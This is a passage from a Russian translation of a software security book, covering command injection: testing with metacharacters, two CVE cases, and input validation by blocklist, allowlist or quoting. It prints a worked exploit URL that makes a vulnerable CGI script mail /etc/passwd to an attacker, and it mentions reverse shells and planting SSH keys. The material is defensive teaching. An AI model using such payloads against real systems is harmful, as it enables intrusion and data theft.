KnigaRead.com/
KnigaRead.com » Компьютеры и Интернет » Программирование » Дэвид Лебланк - 19 смертных грехов, угрожающих безопасности программ

Дэвид Лебланк - 19 смертных грехов, угрожающих безопасности программ

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн Дэвид Лебланк, "19 смертных грехов, угрожающих безопасности программ" бесплатно, без регистрации.
Перейти на страницу:

Тестирование

В общем случае нужно рассмотреть все входные данные, понять, какому интерпретатору команд они могут быть переданы, а затем попробовать включить в тестовые данные различные используемые в этом интерпретаторе метасимволы и посмотреть, что получится. Разумеется, тестовые данные надо подбирать так, чтобы в случае успешного срабатывания также получался какой–то наблюдаемый результат.

Например, если вы хотите проверить, передаются ли данные оболочке UNIX, добавьте двоеточие, а затем попытайтесь отправить себе какое–нибудь электронное письмо. Но если данные заключены в двойные кавычки, то сначала придется вставить завершающую кавычку. В этом случае тестовые данные должны содержать кавычку, за ней точку с запятой, а потом уже команду для отправки почты. Проверьте не только факт получения почты, но и поведение приложения – оно могло аварийно завершиться или сделать еще что–то нехорошее. Необязательно в тесте имитировать настоящую атаку, но надо приблизиться к ней настолько, чтобы выявить проблему. Хотя защитных мер существует много, на практике не стоит проявлять излишнее хитроумие. Обычно достаточно написать простую программу, которая генерирует перестановки различных метасимволов (управляющих символов, имеющих специальный смысл, например ; ) и команд, подает их на вход приложения и отслеживает нежелательные результаты.

Инструменты, предлагаемые компаниями SPI Dynamics и Watchfire, автоматизируют процесс такого тестирования для Web–приложений.

Примеры из реальной жизни

Следующие примеры внедрения команд взяты из базы данных CVE (cve.mitre.org).

CAN–2001–1187

Написанный на Perl CGI–сценарий CSVForm добавляет записи в файл в формате CSV (поля, разделенные запятыми). Этот сценарий под названием statsconfig.pl поставляется в составе Web–сервера OmniHTTPd 2.07. После разбора запроса имя файла передается следующей функции в качестве параметра file:

...

sub modify_CSV

{

if (open(CSV, $_[0])) {

...

}

}

Имя файла никак не контролируется. Поэтому можно добавить в его конец символ открытия канала (|).

Для демонстрации эксплойта достаточно перейти по следующему URL:

...

http://www.example.com/cgi-bin/

csvform.pl?file=mail% [email protected]</etc/passwd|

В UNIX результатом будет отправка атакующему файла паролей.

Отметим, что строкой %2 О представляется пробел в URL. Декодирование производится перед тем, как данные будут переданы CGI–сценарию.

В наши дни этот эксплойт уже не представляет большой практической ценности, так как в файле паролей в UNIX–системах хранятся только имена пользователей. Но противник может сделать что–то другое, что позволит ему войти в систему, например записать свой открытый ключ в каталог ~/ . ssh/authorized_keys. Или попытаться загрузить на сервер и выполнить произвольную программу, передав в параметре file последовательность байтов, составляющих ее код. Поскольку на машине, где работает этот сценарий, очевидно установлен Perl, то можно было бы написать несложный Perl–сценарий, который устанавливает обратное соединение с машиной противника, по которому тот получает доступ к командной оболочке.

CAN–2002–0652

Служба монтирования файловых систем в ОС IRIX позволяет смонтировать систему дистанционно, пользуясь вызовами RPC. Обычно она по умолчанию включена. Оказалось, что вплоть до обнаружения ошибки в 2002 году многие проверки файла, которые сервер выполнял при получении запроса, были реализованы с помощью системного вызова рореп(). Передаваемая ему информация поступала непосредственно от пользователя, поэтому поставленная в нужном месте точка с запятой позволяла противнику выполнять команды от имени root.

Искупление греха

Очевидное решение – никогда не запускать никаких интерпретаторов команд. Но это не всегда практично, особенно если речь идет о работе с базой данных. Можно было бы сказать иначе: если вы все–таки обращаетесь к оболочке, не передавайте ей данные, поступившие извне. Но и этот совет столь же непрактичен.

Единственная разумная рекомендация – проверять входные данные. Путь к искуплению греха часто состоит всего из двух шагов:

1) проверьте данные и убедитесь, что они корректны;

2) предпримите необходимые действия, если данные некорректны.

Контроль данных

На самом верхнем уровне у вас есть две возможности. Можно проверять все, что передается внешнему процессу, или только те данные, которые поступают из источника, не заслуживающего доверия. Оба варианта приемлемы, если вы производите проверку тщательно.

Обычно внешние данные имеет смысл проверять непосредственно перед использованием. На то есть две причины. Во–первых, таким образом гарантируется, что данные будут проверены на любом пути, ведущем к их использованию. Во–вторых, смысл данных часто проще всего понять непосредственно перед использованием. А, понимая смысл, вы сможете наилучшим образом выполнить проверку. Кроме того, такой подход позволяет защититься от непреднамеренной порчи данных после начальной проверки.

Но наилучшей является стратегия глубоко эшелонированной обороны. Разумно проверять данные и в момент поступления, чтобы избежать риска использовать непроверенные данные где–то в другом месте, особенно в ситуации, когда таких мест много.

Есть три основных способа обеспечить корректность данных:

□ подход «все кроме». Вы ищете свидетельства того, что данные некорректны, а если не находите, то принимаете их;

□ подход «только такие». Вы сравниваете данные с заведомо корректными, а все остальные отвергаете (даже если есть шанс, что ничего страшного не произойдет);

□ «закавычивание». Вы преобразуете данные таким образом, чтобы избежать всякого риска.

Всем им свойствен общий недостаток: вы можете что–то проглядеть. В случае подхода «все кроме» и «закавычивания» это, очевидно, может иметь плачевные последствия для безопасности. На самом деле, отвергая все данные, кроме тех, что кажутся корректными, вы, скорее всего, получите небезопасную программу, так как перечень символов, которые могут иметь специальный смысл, довольно велик. В некоторых системах почти все символы, кроме букв и цифр, могут оказаться специальными. «Закавычивание» часто гораздо труднее реализовать, чем кажется на первый взгляд. Например, при попытке сделать это для некоторых командных процессоров чаще всего строку с входными данными просто заключают в двойные кавычки. Но если вы не проявите осторожность, противник сможет сам включить в строку кавычки. Кроме того, для некоторых процессоров (например, командных оболочек в UNIX) есть метасимволы, которые интерпретируются даже внутри кавычек.

Чтобы убедиться в том, насколько сложна эта задача, попробуйте сами записать все метасимволы, имеющие специальный смысл для UNIX. Включите все, что может интерпретироваться как управляющие символы. Насколько длинный список у вас получится?

В наш перечень вошли все пунктуационные символы, кроме @, _, +,: и запятой. Но полной уверенности, что эти символы во всех случаях безопасны, у нас нет. Возможно, существуют интерпретаторы, для которых и они могут быть управляющими.

Быть может, вы полагаете, что некоторые из упомянутых символов никогда не имеют специального смысла. Скажем, знак минуса? Увы, если минус находится в начале слова, то может интерпретироваться как признак окончания флагов команды. А как насчет символа А? Вы не знали, что он применяется для подстановок? Ну а знак процента? Хотя при интерпретации в качестве метасимвола он, скорее всего, безопасен, но все же может быть метасимволом, поскольку используется для управления заданиями. Вместо знака тильды (~) в начале слова иногда подставляется начальный каталог пользователя, а в остальных случаях он метасимволом не является. Однако и такое использование может привести к раскрытию информации, особенно если цель противника – увидеть ту часть файловой системы, которую программа видеть не должна. Например, вы могли бы поместить свое приложение в каталог /home/blah/ и запретить во входных данных две подряд идущие точки. Тем не менее противник сможет добраться до любого файла в этом каталоге, добавив к имени файла префикс ~.

Даже пробел может считаться управляющим символом, поскольку разделяет семантически значимые аргументы или команды. И в таком качестве используются многие символы, помимо пробела, а именно: символ табуляции, перевода строки, возврата каретки, перевода страницы и вертикальной табуляции.

К тому же есть еще управляющие символы типа Ctrl–D или NULL, которые также могут приводить к нежелательным эффектам.

В общем, гораздо надежнее работать со списком «только эти». В случае списка «все кроме» вы должны быть абсолютно уверены, что рассмотрели все возможности. Но даже разрешительного подхода на основе списка «только эти» может оказаться недостаточно. Знать, как действует тот или иной символ, все равно необходимо, поскольку иначе вы можете включить в список разрешенных пробелы или тильду, не понимая, какие последствия это будет иметь для безопасности программы.

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*